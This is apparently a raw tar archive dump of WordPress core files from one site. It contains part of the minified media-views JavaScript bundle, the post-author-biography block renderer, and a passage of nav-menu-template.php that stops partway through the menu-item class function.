e,t=this.model.get("url");i("#embed-url-field").val()===t&&(this.dfd&&"pending"===this.dfd.state()&&this.dfd.abort(),(e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(t))&&(t="https://www.youtube.com/watch?v="+e[1]),this.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t,maxwidth:this.model.get("width"),maxheight:this.model.get("height")},type:"GET",dataType:"json",context:this}).done(function(e){this.renderoEmbed({data:{body:e.html||""}})}).fail(this.renderFail))},renderFail:function(e,t){"abort"!==t&&this.$(".link-text").show()},renderoEmbed:function(e){e=e&&e.data&&e.data.body||"";e?this.$(".embed-container").show().find(".embed-preview").html(e):this.renderFail()}});e.exports=t},8282:e=>{var i=wp.i18n._n,s=wp.i18n.sprintf,t=wp.media.View.extend({tagName:"div",className:"media-selection",template:wp.template("media-selection"),events:{"click .edit-selection":"edit","click .clear-selection":"clear"},initialize:function(){_.defaults(this.options,{editable:!1,clearable:!0}),this.attachments=new wp.media.view.Attachments.Selection({controller:this.controller,collection:this.collection,selection:this.collection,model:new Backbone.Model}),this.views.set(".selection-view",this.attachments),this.collection.on("add remove reset",this.refresh,this),this.controller.on("content:activate",this.refresh,this)},ready:function(){this.refresh()},refresh:function(){var e,t;this.$el.children().length&&(e=this.collection,t="edit-selection"===this.controller.content.mode(),this.$el.toggleClass("empty",!e.length),this.$el.toggleClass("one",1===e.length),this.$el.toggleClass("editing",t),this.$(".count").text(s(i("%s item selected","%s items selected",e.length),e.length)))},edit:function(e){e.preventDefault(),this.options.editable&&this.options.editable.call(this,this.collection)},clear:function(e){e.preventDefault(),this.collection.reset(),this.controller.modal.focusManager.focus()}});e.exports=t},8291:e=>{var t=jQuery,i=wp.media.View.extend({tagName:"div",className:"uploader-window",template:wp.template("uploader-window"),initialize:function(){var e;this.$browser=t('<button type="button" class="browser" />').hide().appendTo("body"),!(e=this.options.uploader=_.defaults(this.options.uploader||{},{dropzone:this.$el,browser:this.$browser,params:{}})).dropzone||e.dropzone instanceof t||(e.dropzone=t(e.dropzone)),this.controller.on("activate",this.refresh,this),this.controller.on("detach",function(){this.$browser.remove()},this)},refresh:function(){this.uploader&&this.uploader.refresh()},ready:function(){var e=wp.media.view.settings.post.id;this.uploader||(e&&(this.options.uploader.params.post_id=e),this.uploader=new wp.Uploader(this.options.uploader),(e=this.uploader.dropzone).on("dropzone:enter",_.bind(this.show,this)),e.on("dropzone:leave",_.bind(this.hide,this)),t(this.uploader).on("uploader:ready",_.bind(this._ready,this)))},_ready:function(){this.controller.trigger("uploader:ready")},show:function(){var e=this.$el.show();_.defer(function(){e.css({opacity:1})})},hide:function(){var e=this.$el.css({opacity:0});wp.media.transition(e).done(function(){"0"===e.css("opacity")&&e.hide()}),_.delay(function(){"0"===e.css("opacity")&&e.is(":visible")&&e.hide()},500)}});e.exports=i},8612:e=>{var t=wp.media.controller.Library,n=wp.media.view.l10n,r=jQuery,i=t.extend({defaults:{multiple:!1,sortable:!0,date:!1,searchable:!1,content:"browse",describe:!0,dragInfo:!0,idealColumnWidth:170,editing:!1,priority:60,SettingsView:!1,syncSelection:!1},initialize:function(){var e=this.get("collectionType");"video"===this.get("type")&&(e="video-"+e),this.set("id",e+"-edit"),this.set("toolbar",e+"-edit"),this.get("library")||this.set("library",new wp.media.model.Selection),this.get("AttachmentView")||this.set("AttachmentView",wp.media.view.Attachment.EditLibrary),t.prototype.initialize.apply(this,arguments)},activate:function(){this.get("library").props.set("type",this.get("type")),this.get("library").observe(wp.Uploader.queue),this.frame.on("content:render:browse",this.renderSettings,this),t.prototype.activate.apply(this,arguments)},deactivate:function(){this.get("library").unobserve(wp.Uploader.queue),this.frame.off("content:render:browse",this.renderSettings,this),t.prototype.deactivate.apply(this,arguments)},renderSettings:function(e){var t=this.get("library"),i=this.get("collectionType"),s=this.get("dragInfoText"),o=this.get("SettingsView"),a={};t&&e&&(t[i]=t[i]||new Backbone.Model,a[i]=new o({controller:this,model:t[i],priority:40}),e.sidebar.set(a),s&&e.toolbar.set("dragInfo",new wp.media.View({el:r('<div class="instructions">'+s+"</div>")[0],priority:-40})),e.toolbar.set("reverse",{text:n.reverseOrder,priority:80,click:function(){t.reset(t.toArray().reverse())}}))}});e.exports=i},8815:e=>{var t=wp.media.View.extend({tagName:"div",initialize:function(){this._views={},this.set(_.extend({},this._views,this.options.views),{silent:!0}),delete this.options.views,this.options.silent||this.render()},set:function(e,t,i){var s,o;return i=i||{},_.isObject(e)?_.each(e,function(e,t){this.set(t,e)},this):((t=t instanceof Backbone.View?t:this.toView(t,e,i)).controller=t.controller||this.controller,this.unset(e),s=t.options.priority||10,i=this.views.get()||[],_.find(i,function(e,t){if(e.options.priority>s)return o=t,!0}),this._views[e]=t,this.views.add(t,{at:_.isNumber(o)?o:i.length||0})),this},get:function(e){return this._views[e]},unset:function(e){var t=this.get(e);return t&&t.remove(),delete this._views[e],this},toView:function(e){return new wp.media.View(e)}});e.exports=t},9013:e=>{var t=wp.media.View.extend({tagName:"button",className:"media-menu-item",attributes:{type:"button",role:"tab"},events:{click:"_click"},_click:function(){var e=this.options.click;e?e.call(this):this.click()},click:function(){var e=this.options.state;e&&(this.controller.setState(e),this.views.parent.$el.removeClass("visible"))},render:function(){var e=this.options,t=e.state||e.contentMode;return e.text?this.$el.text(e.text):e.html&&this.$el.html(e.html),this.$el.attr("id","menu-item-"+t),this}});e.exports=t},9141:e=>{var t=wp.media.View.extend({tagName:"span",className:"spinner",spinnerTimeout:!1,delay:400,show:function(){return this.spinnerTimeout||(this.spinnerTimeout=_.delay(function(e){e.addClass("is-active")},this.delay,this.$el)),this},hide:function(){return this.$el.removeClass("is-active"),this.spinnerTimeout=clearTimeout(this.spinnerTimeout),this}});e.exports=t},9458:e=>{var t=wp.media.view.Toolbar,i=wp.media.view.l10n,s=t.extend({initialize:function(){var e=this.options;_.bindAll(this,"clickSelect"),_.defaults(e,{event:"select",state:!1,reset:!0,close:!0,text:i.select,requires:{selection:!0}}),e.items=_.defaults(e.items||{},{select:{style:"primary",text:e.text,priority:80,click:this.clickSelect,requires:e.requires}}),t.prototype.initialize.apply(this,arguments)},clickSelect:function(){var e=this.options,t=this.controller;e.close&&t.close(),e.event&&t.state().trigger(e.event),e.state&&t.setState(e.state),e.reset&&t.reset()}});e.exports=s},9660:e=>{var t=wp.media.controller.Cropper.extend({doCrop:function(e){var t=e.get("cropDetails"),i=this.get("control"),s=t.width/t.height;return i.params.flex_width&&i.params.flex_height?(t.dst_width=t.width,t.dst_height=t.height):(t.dst_width=i.params.flex_width?i.params.height*s:i.params.width,t.dst_height=i.params.flex_height?i.params.width/s:i.params.height),wp.ajax.post("crop-image",{wp_customize:"on",nonce:e.get("nonces").edit,id:e.get("id"),context:i.id,cropDetails:t})}});e.exports=t},9875:e=>{function t(e){_.extend(this,_.pick(e||{},"id","view","selector"))}t.extend=Backbone.Model.extend,_.extend(t.prototype,{mode:function(e){return e?(e!==this._mode&&(this.trigger("deactivate"),this._mode=e,this.render(e),this.trigger("activate")),this):this._mode},render:function(e){return e&&e!==this._mode?this.mode(e):(this.trigger("create",e={view:null}),this.trigger("render",e=e.view),e&&this.set(e),this)},get:function(){return this.view.views.first(this.selector)},set:function(e,t){return t&&(t.add=!1),this.view.views.set(this.selector,e,t)},trigger:function(e){var t,i;if(this._mode)return i=_.toArray(arguments),t=this.id+":"+e,i[0]=t+":"+this._mode,this.view.trigger.apply(this.view,i),i[0]=t,this.view.trigger.apply(this.view,i),this}}),e.exports=t}},s={};function o(e){var t=s[e];return void 0!==t||(t=s[e]={exports:{}},i[e](t,t.exports,o)),t.exports}var t,e,a,n=wp.media,r=jQuery;n.isTouchDevice="ontouchend"in document,e=n.view.l10n=window._wpMediaViewsL10n||{},n.view.settings=e.settings||{},delete e.settings,n.model.settings.post=n.view.settings.post,r.support.transition=(t=document.documentElement.style,e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},(a=_.find(_.keys(e),function(e){return!_.isUndefined(t[e])}))&&{end:e[a]}),n.events=_.extend({},Backbone.Events),n.transition=function(e,t){var i=r.Deferred();return t=t||2e3,r.support.transition?((e=e instanceof r?e:r(e)).first().one(r.support.transition.end,i.resolve),_.delay(i.resolve,t)):i.resolve(),i.promise()},n.controller.Region=o(9875),n.controller.StateMachine=o(6150),n.controller.State=o(5694),n.selectionSync=o(4181),n.controller.Library=o(472),n.controller.ImageDetails=o(705),n.controller.GalleryEdit=o(2038),n.controller.GalleryAdd=o(7127),n.controller.CollectionEdit=o(8612),n.controller.CollectionAdd=o(7145),n.controller.FeaturedImage=o(1169),n.controller.ReplaceImage=o(2275),n.controller.EditImage=o(5663),n.controller.MediaLibrary=o(8065),n.controller.Embed=o(4910),n.controller.Cropper=o(5422),n.controller.CustomizeImageCropper=o(9660),n.controller.SiteIconCropper=o(6172),n.View=o(4747),n.view.Frame=o(1061),n.view.MediaFrame=o(2836),n.view.MediaFrame.Select=o(455),n.view.MediaFrame.Post=o(4274),n.view.MediaFrame.ImageDetails=o(5424),n.view.Modal=o(2621),n.view.FocusManager=o(718),n.view.UploaderWindow=o(8291),n.view.EditorUploader=o(3674),n.view.UploaderInline=o(1753),n.view.UploaderStatus=o(8197),n.view.UploaderStatusError=o(6442),n.view.Toolbar=o(5275),n.view.Toolbar.Select=o(9458),n.view.Toolbar.Embed=o(397),n.view.Button=o(846),n.view.ButtonGroup=o(168),n.view.PriorityList=o(8815),n.view.MenuItem=o(9013),n.view.Menu=o(1),n.view.RouterItem=o(6327),n.view.Router=o(4783),n.view.Sidebar=o(1992),n.view.Attachment=o(4075),n.view.Attachment.Library=o(3443),n.view.Attachment.EditLibrary=o(5232),n.view.Attachments=o(8142),n.view.Search=o(2102),n.view.AttachmentFilters=o(7709),n.view.DateFilter=o(6472),n.view.AttachmentFilters.Uploaded=o(1368),n.view.AttachmentFilters.All=o(7349),n.view.AttachmentsBrowser=o(6829),n.view.Selection=o(8282),n.view.Attachment.Selection=o(3962),n.view.Attachments.Selection=o(3479),n.view.Attachment.EditSelection=o(4593),n.view.Settings=o(1915),n.view.Settings.AttachmentDisplay=o(7656),n.view.Settings.Gallery=o(7266),n.view.Settings.Playlist=o(2356),n.view.Attachment.Details=o(6090),n.view.AttachmentCompat=o(2982),n.view.Iframe=o(1982),n.view.Embed=o(5741),n.view.Label=o(4338),n.view.EmbedUrl=o(7327),n.view.EmbedLink=o(8232),n.view.EmbedImage=o(2395),n.view.ImageDetails=o(2650),n.view.Cropper=o(7637),n.view.SiteIconCropper=o(443),n.view.SiteIconPreview=o(7810),n.view.EditImage=o(6126),n.view.Spinner=o(9141),n.view.Heading=o(170)})();14338/post-author-biography.php.tar000064400000006000151024420100012754 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/post-author-biography.php000064400000002764151024253460027624 0ustar00<?php
/**
 * Server-side rendering of the `core/post-author-biography` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-author-biography` block on the server.
 *
 * @since 6.0.0
 *
 * @param  array    $attributes Block attributes.
 * @param  string   $content    Block default content.
 * @param  WP_Block $block      Block instance.
 * @return string Returns the rendered post author biography block.
 */
function render_block_core_post_author_biography( $attributes, $content, $block ) {
	if ( isset( $block->context['postId'] ) ) {
		$author_id = get_post_field( 'post_author', $block->context['postId'] );
	} else {
		$author_id = get_query_var( 'author' );
	}

	if ( empty( $author_id ) ) {
		return '';
	}

	$author_biography = get_the_author_meta( 'description', $author_id );
	if ( empty( $author_biography ) ) {
		return '';
	}

	$align_class_name   = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );

	return sprintf( '<div %1$s>', $wrapper_attributes ) . $author_biography . '</div>';
}

/**
 * Registers the `core/post-author-biography` block on the server.
 *
 * @since 6.0.0
 */
function register_block_core_post_author_biography() {
	register_block_type_from_metadata(
		__DIR__ . '/post-author-biography',
		array(
			'render_callback' => 'render_block_core_post_author_biography',
		)
	);
}
add_action( 'init', 'register_block_core_post_author_biography' );
14338/nav-menu-template.php.tar000064400000066000151024420100012052 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/nav-menu-template.php000064400000062606151024213420025430 0ustar00<?php
/**
 * Nav Menu API: Template functions
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/** Walker_Nav_Menu class */
require_once ABSPATH . WPINC . '/class-walker-nav-menu.php';

/**
 * Displays a navigation menu.
 *
 * @since 3.0.0
 * @since 4.7.0 Added the `item_spacing` argument.
 * @since 5.5.0 Added the `container_aria_label` argument.
 *
 * @param array $args {
 *     Optional. Array of nav menu arguments.
 *
 *     @type int|string|WP_Term $menu                 Desired menu. Accepts a menu ID, slug, name, or object.
 *                                                    Default empty.
 *     @type string             $menu_class           CSS class to use for the ul element which forms the menu.
 *                                                    Default 'menu'.
 *     @type string             $menu_id              The ID that is applied to the ul element which forms the menu.
 *                                                    Default is the menu slug, incremented.
 *     @type string             $container            Whether to wrap the ul, and what to wrap it with.
 *                                                    Default 'div'.
 *     @type string             $container_class      Class that is applied to the container.
 *                                                    Default 'menu-{menu slug}-container'.
 *     @type string             $container_id         The ID that is applied to the container. Default empty.
 *     @type string             $container_aria_label The aria-label attribute that is applied to the container
 *                                                    when it's a nav element. Default empty.
 *     @type callable|false     $fallback_cb          If the menu doesn't exist, a callback function will fire.
 *                                                    Default is 'wp_page_menu'. Set to false for no fallback.
 *     @type string             $before               Text before the link markup. Default empty.
 *     @type string             $after                Text after the link markup. Default empty.
 *     @type string             $link_before          Text before the link text. Default empty.
 *     @type string             $link_after           Text after the link text. Default empty.
 *     @type bool               $echo                 Whether to echo the menu or return it. Default true.
 *     @type int                $depth                How many levels of the hierarchy are to be included.
 *                                                    0 means all. Default 0.
 *                                                    Default 0.
 *     @type object             $walker               Instance of a custom walker class. Default empty.
 *     @type string             $theme_location       Theme location to be used. Must be registered with
 *                                                    register_nav_menu() in order to be selectable by the user.
 *     @type string             $items_wrap           How the list items should be wrapped. Uses printf() format with
 *                                                    numbered placeholders. Default is a ul with an id and class.
 *     @type string             $item_spacing         Whether to preserve whitespace within the menu's HTML.
 *                                                    Accepts 'preserve' or 'discard'. Default 'preserve'.
 * }
 * @return void|string|false Void if 'echo' argument is true, menu output if 'echo' is false.
 *                           False if there are no items or no menu was found.
 */
function wp_nav_menu( $args = array() ) {
	static $menu_id_slugs = array();

	$defaults = array(
		'menu'                 => '',
		'container'            => 'div',
		'container_class'      => '',
		'container_id'         => '',
		'container_aria_label' => '',
		'menu_class'           => 'menu',
		'menu_id'              => '',
		'echo'                 => true,
		'fallback_cb'          => 'wp_page_menu',
		'before'               => '',
		'after'                => '',
		'link_before'          => '',
		'link_after'           => '',
		'items_wrap'           => '<ul id="%1$s" class="%2$s">%3$s</ul>',
		'item_spacing'         => 'preserve',
		'depth'                => 0,
		'walker'               => '',
		'theme_location'       => '',
	);

	$args = wp_parse_args( $args, $defaults );

	if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
		// Invalid value, fall back to default.
		$args['item_spacing'] = $defaults['item_spacing'];
	}

	/**
	 * Filters the arguments used to display a navigation menu.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param array $args Array of wp_nav_menu() arguments.
	 */
	$args = apply_filters( 'wp_nav_menu_args', $args );
	$args = (object) $args;

	/**
	 * Filters whether to short-circuit the wp_nav_menu() output.
	 *
	 * Returning a non-null value from the filter will short-circuit wp_nav_menu(),
	 * echoing that value if $args->echo is true, returning that value otherwise.
	 *
	 * @since 3.9.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string|null $output Nav menu output to short-circuit with. Default null.
	 * @param stdClass    $args   An object containing wp_nav_menu() arguments.
	 */
	$nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args );

	if ( null !== $nav_menu ) {
		if ( $args->echo ) {
			echo $nav_menu;
			return;
		}

		return $nav_menu;
	}

	// Get the nav menu based on the requested menu.
	$menu = wp_get_nav_menu_object( $args->menu );

	// Get the nav menu based on the theme_location.
	$locations = get_nav_menu_locations();
	if ( ! $menu && $args->theme_location && $locations && isset( $locations[ $args->theme_location ] ) ) {
		$menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] );
	}

	// Get the first menu that has items if we still can't find a menu.
	if ( ! $menu && ! $args->theme_location ) {
		$menus = wp_get_nav_menus();
		foreach ( $menus as $menu_maybe ) {
			$menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) );
			if ( $menu_items ) {
				$menu = $menu_maybe;
				break;
			}
		}
	}

	if ( empty( $args->menu ) ) {
		$args->menu = $menu;
	}

	// If the menu exists, get its items.
	if ( $menu && ! is_wp_error( $menu ) && ! isset( $menu_items ) ) {
		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
	}

	/*
	 * If no menu was found:
	 *  - Fall back (if one was specified), or bail.
	 *
	 * If no menu items were found:
	 *  - Fall back, but only if no theme location was specified.
	 *  - Otherwise, bail.
	 */
	if ( ( ! $menu || is_wp_error( $menu ) || ( isset( $menu_items ) && empty( $menu_items ) && ! $args->theme_location ) )
		&& isset( $args->fallback_cb ) && $args->fallback_cb && is_callable( $args->fallback_cb ) ) {
			return call_user_func( $args->fallback_cb, (array) $args );
	}

	if ( ! $menu || is_wp_error( $menu ) ) {
		return false;
	}

	$nav_menu = '';
	$items    = '';

	$show_container = false;
	if ( $args->container ) {
		/**
		 * Filters the list of HTML tags that are valid for use as menu containers.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $tags The acceptable HTML tags for use as menu containers.
		 *                       Default is array containing 'div' and 'nav'.
		 */
		$allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) );

		if ( is_string( $args->container ) && in_array( $args->container, $allowed_tags, true ) ) {
			$show_container = true;
			$class          = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-' . $menu->slug . '-container"';
			$id             = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : '';
			$aria_label     = ( 'nav' === $args->container && $args->container_aria_label ) ? ' aria-label="' . esc_attr( $args->container_aria_label ) . '"' : '';
			$nav_menu      .= '<' . $args->container . $id . $class . $aria_label . '>';
		}
	}

	// Set up the $menu_item variables.
	_wp_menu_item_classes_by_context( $menu_items );

	$sorted_menu_items        = array();
	$menu_items_with_children = array();
	foreach ( (array) $menu_items as $menu_item ) {
		/*
		 * Fix invalid `menu_item_parent`. See: https://core.trac.wordpress.org/ticket/56926.
		 * Compare as strings. Plugins may change the ID to a string.
		 */
		if ( (string) $menu_item->ID === (string) $menu_item->menu_item_parent ) {
			$menu_item->menu_item_parent = 0;
		}

		$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
		if ( $menu_item->menu_item_parent ) {
			$menu_items_with_children[ $menu_item->menu_item_parent ] = true;
		}
	}

	// Add the menu-item-has-children class where applicable.
	if ( $menu_items_with_children ) {
		foreach ( $sorted_menu_items as &$menu_item ) {
			if ( isset( $menu_items_with_children[ $menu_item->ID ] ) ) {
				$menu_item->classes[] = 'menu-item-has-children';
			}
		}
	}

	unset( $menu_items, $menu_item );

	/**
	 * Filters the sorted list of menu item objects before generating the menu's HTML.
	 *
	 * @since 3.1.0
	 *
	 * @param array    $sorted_menu_items The menu items, sorted by each menu item's menu order.
	 * @param stdClass $args              An object containing wp_nav_menu() arguments.
	 */
	$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );

	$items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args );
	unset( $sorted_menu_items );

	// Attributes.
	if ( ! empty( $args->menu_id ) ) {
		$wrap_id = $args->menu_id;
	} else {
		$wrap_id = 'menu-' . $menu->slug;

		while ( in_array( $wrap_id, $menu_id_slugs, true ) ) {
			if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) ) {
				$wrap_id = preg_replace( '#-(\d+)$#', '-' . ++$matches[1], $wrap_id );
			} else {
				$wrap_id = $wrap_id . '-1';
			}
		}
	}
	$menu_id_slugs[] = $wrap_id;

	$wrap_class = $args->menu_class ? $args->menu_class : '';

	/**
	 * Filters the HTML list content for navigation menus.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $items The HTML list content for the menu items.
	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
	 */
	$items = apply_filters( 'wp_nav_menu_items', $items, $args );
	/**
	 * Filters the HTML list content for a specific navigation menu.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $items The HTML list content for the menu items.
	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
	 */
	$items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args );

	// Don't print any markup if there are no items at this point.
	if ( empty( $items ) ) {
		return false;
	}

	$nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );
	unset( $items );

	if ( $show_container ) {
		$nav_menu .= '</' . $args->container . '>';
	}

	/**
	 * Filters the HTML content for navigation menus.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $nav_menu The HTML content for the navigation menu.
	 * @param stdClass $args     An object containing wp_nav_menu() arguments.
	 */
	$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );

	if ( $args->echo ) {
		echo $nav_menu;
	} else {
		return $nav_menu;
	}
}

/**
 * Adds the class property classes for the current context, if applicable.
 *
 * @access private
 * @since 3.0.0
 *
 * @global WP_Query   $wp_query   WordPress Query object.
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param array $menu_items The current menu item objects to which to add the class property information.
 */
function _wp_menu_item_classes_by_context( &$menu_items ) {
	global $wp_query, $wp_rewrite;

	$queried_object    = $wp_query->get_queried_object();
	$queried_object_id = (int) $wp_query->queried_object_id;

	$active_object               = '';
	$active_ancestor_item_ids    = array();
	$active_parent_item_ids      = array();
	$active_parent_object_ids    = array();
	$possible_taxonomy_ancestors = array();
	$possible_object_parents     = array();
	$home_page_id                = (int) get_option( 'page_for_posts' );

	if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) {
		foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) {
			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
				$term_hierarchy = _get_term_hierarchy( $taxonomy );
				$terms          = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) );
				if ( is_array( $terms ) ) {
					$possible_object_parents = array_merge( $possible_object_parents, $terms );
					$term_to_ancestor        = array();
					foreach ( (array) $term_hierarchy as $ancestor => $descendents ) {
						foreach ( (array) $descendents as $desc ) {
							$term_to_ancestor[ $desc ] = $ancestor;
						}
					}

					foreach ( $terms as $desc ) {
						do {
							$possible_taxonomy_ancestors[ $taxonomy ][] = $desc;
							if ( isset( $term_to_ancestor[ $desc ] ) ) {
								$_desc = $term_to_ancestor[ $desc ];
								unset( $term_to_ancestor[ $desc ] );
								$desc = $_desc;
							} else {
								$desc = 0;
							}
						} while ( ! empty( $desc ) );
					}
				}
			}
		}
	} elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
		$term_hierarchy   = _get_term_hierarchy( $queried_object->taxonomy );
		$term_to_ancestor = array();
		foreach ( (array) $term_hierarchy as $ancestor => $descendents ) {
			foreach ( (array) $descendents as $desc ) {
				$term_to_ancestor[ $desc ] = $ancestor;
			}
		}
		$desc = $queried_object->term_id;
		do {
			$possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc;
			if ( isset( $term_to_ancestor[ $desc ] ) ) {
				$_desc = $term_to_ancestor[ $desc ];
				unset( $term_to_ancestor[ $desc ] );
				$desc = $_desc;
			} else {
				$desc = 0;
			}
		} while ( ! empty( $desc ) );
	}

	$possible_object_parents = array_filter( $possible_object_parents );

	$front_page_url         = home_url();
	$front_page_id          = (int) get_option( 'page_on_front' );
	$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

	foreach ( (array) $menu_items as $key => $menu_item ) {

		$menu_items[ $key ]->current = false;

		$classes   = (array) $menu_item->classes;
		$classes[] = 'menu-item';
		$classes[] = 'menu-item-type-' . $menu_item->type;
		$classes[] = 'menu-item-object-' . $menu_item->object;

		// This menu item is set as the 'Front Page'.
		if ( 'post_type' === $menu_item->type && $front_page_id === (int) $menu_item->object_id ) {
			$classes[] = 'menu-item-home';
		}

		// This menu item is set as the 'Privacy Policy Page'.
		if ( 'post_type' === $menu_item->type && $privacy_policy_page_id === (int) $menu_item->object_id ) {
			$classes[] = 'menu-item-privacy-policy';
		}

		// If the menu item corresponds to a taxonomy term for the currently queried non-hierarchical post object.
		if ( $wp_query->is_singular && 'taxonomy' === $menu_item->type
			&& in_array( (int) $menu_item->object_id, $possible_object_parents, true )
		) {
			$active_parent_object_ids[] = (int) $menu_item->object_id;
			$active_parent_item_ids[]   = (int) $menu_item->db_id;
			$active_object              = $queried_object->post_type;

			// If the menu item corresponds to the currently queried post or taxonomy object.
		} elseif (
			(int) $menu_item->object_id === $queried_object_id
			&& (
				( ! empty( $home_page_id ) && 'post_type' === $menu_item->type
					&& $wp_query->is_home && $home_page_id === (int) $menu_item->object_id )
				|| ( 'post_type' === $menu_item->type && $wp_query->is_singular )
				|| ( 'taxonomy' === $menu_item->type
					&& ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax )
					&& $queried_object->taxonomy === $menu_item->object )
			)
		) {
			$classes[]                   = 'current-menu-item';
			$menu_items[ $key ]->current = true;
			$ancestor_id                 = (int) $menu_item->db_id;

			while (
				( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
				&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
			) {
				$active_ancestor_item_ids[] = $ancestor_id;
			}

			if ( 'post_type' === $menu_item->type && 'page' === $menu_item->object ) {
				// Back compat classes for pages to match wp_page_menu().
				$classes[] = 'page_item';
				$classes[] = 'page-item-' . $menu_item->object_id;
				$classes[] = 'current_page_item';
			}

			$active_parent_item_ids[]   = (int) $menu_item->menu_item_parent;
			$active_parent_object_ids[] = (int) $menu_item->post_parent;
			$active_object              = $menu_item->object;

			// If the menu item corresponds to the currently queried post type archive.
		} elseif (
			'post_type_archive' === $menu_item->type
			&& is_post_type_archive( array( $menu_item->object ) )
		) {
			$classes[]                   = 'current-menu-item';
			$menu_items[ $key ]->current = true;
			$ancestor_id                 = (int) $menu_item->db_id;

			while (
				( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
				&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
			) {
				$active_ancestor_item_ids[] = $ancestor_id;
			}

			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;

			// If the menu item corresponds to the currently requested URL.
		} elseif ( 'custom' === $menu_item->object && isset( $_SERVER['HTTP_HOST'] ) ) {
			$_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] );

			// If it's the customize page then it will strip the query var off the URL before entering the comparison block.
			if ( is_customize_preview() ) {
				$_root_relative_current = strtok( untrailingslashit( $_SERVER['REQUEST_URI'] ), '?' );
			}

			$current_url        = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current );
			$raw_item_url       = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url;
			$item_url           = set_url_scheme( untrailingslashit( $raw_item_url ) );
			$_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) );

			$matches = array(
				$current_url,
				urldecode( $current_url ),
				$_indexless_current,
				urldecode( $_indexless_current ),
				$_root_relative_current,
				urldecode( $_root_relative_current ),
			);

			if ( $raw_item_url && in_array( $item_url, $matches, true ) ) {
				$classes[]                   = 'current-menu-item';
				$menu_items[ $key ]->current = true;
				$ancestor_id                 = (int) $menu_item->db_id;

				while (
					( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
					&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
				) {
					$active_ancestor_item_ids[] = $ancestor_id;
				}

				if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ), true ) ) {
					// Back compat for home link to match wp_page_menu().
					$classes[] = 'current_page_item';
				}
				$active_parent_item_ids[]   = (int) $menu_item->menu_item_parent;
				$active_parent_object_ids[] = (int) $menu_item->post_parent;
				$active_object              = $menu_item->object;

				// Give front page item the 'current-menu-item' class when extra query arguments are involved.
			} elseif ( $item_url === $front_page_url && is_front_page() ) {
				$classes[] = 'current-menu-item';
			}

			if ( untrailingslashit( $item_url ) === home_url() ) {
				$classes[] = 'menu-item-home';
			}
		}

		// Back-compat with wp_page_menu(): add "current_page_parent" to static home page link for any non-page query.
		if ( ! empty( $home_page_id ) && 'post_type' === $menu_item->type
			&& empty( $wp_query->is_page ) && $home_page_id === (int) $menu_item->object_id
		) {
			$classes[] = 'current_page_parent';
		}

		$menu_items[ $key ]->classes = array_unique( $classes );
	}
	$active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) );
	$active_parent_item_ids   = array_filter( array_unique( $active_parent_item_ids ) );
